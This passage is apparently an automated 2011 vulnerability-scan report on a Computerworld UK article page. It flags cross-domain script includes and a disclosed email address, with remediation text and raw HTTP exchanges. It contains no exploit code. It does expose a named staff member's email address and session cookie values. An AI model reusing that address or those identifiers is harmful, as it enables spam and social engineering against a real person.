When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rss HTTP/1.1
Host: www.computerworlduk.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;path=/
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;domain=.computerworlduk.com;path=/
Date: Tue, 26 Apr 2011 21:49:09 GMT
Connection: close


       <!DOCTYPE html>
   <html>
       <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' src='/CFIDE/scripts/ajax/resources/cf/images/loading.gif'/>";
_cf_contextpath=""
...[SNIP]...
<![endif]-->
   <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost&amp;embeds=true&amp;charset=utf-8&amp;services=digg%2Cslashdot%2Cstumbleupon%2Creddit%2Cmixx%2Cdelicious%2Ctechnorati%2Cyahoo_buzz%2Cfacebook&amp;style=default&amp;publisher=dff1640b-f471-4781-9319-20022d66580e&amp;linkfg=%236e6e6e"></script>
...[SNIP]...
</script>
       <script type="text/javascript" src="http://widgets.digg.com/buttons.js"></script>
...[SNIP]...
<li id="tweetArticle"><script type="text/javascript" src="http://tweetmeme.com/i/scripts/button.js"></script>
...[SNIP]...

8. Email addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.computerworlduk.com
Path:   /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /news/security/3276305/oracle-responds-to-hacker-group-and-patches-javacom-vulnerability/?olo=rss HTTP/1.1
Host: www.computerworlduk.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;path=/
Set-Cookie: JSESSIONID=6230266d0f7d1fe0d9aa114e2114b137a4f1;domain=.computerworlduk.com;path=/
Date: Tue, 26 Apr 2011 21:49:09 GMT
Connection: close


       <!DOCTYPE html>
   <html>
       <head><script type="text/javascript">/* <![CDATA[ */_cf_loadingtexthtml="<img alt=' ' src='/CFIDE/scripts/ajax/resources/cf/images/loading.gif'/>";
_cf_contextpath=""
...[SNIP]...
<script type="text/javascript" language="javascript">
       var SocialMediaUnit6 = new SocialMediaPollUnit(6,' via @Think_Print','Tweet your answer here...',123,10,7,'joao_felizardo@idg.co.uk');
   </script>
...[SNIP]...

Report generated by XSS.CX at Tue Apr 26 18:29:00 CDT 2011.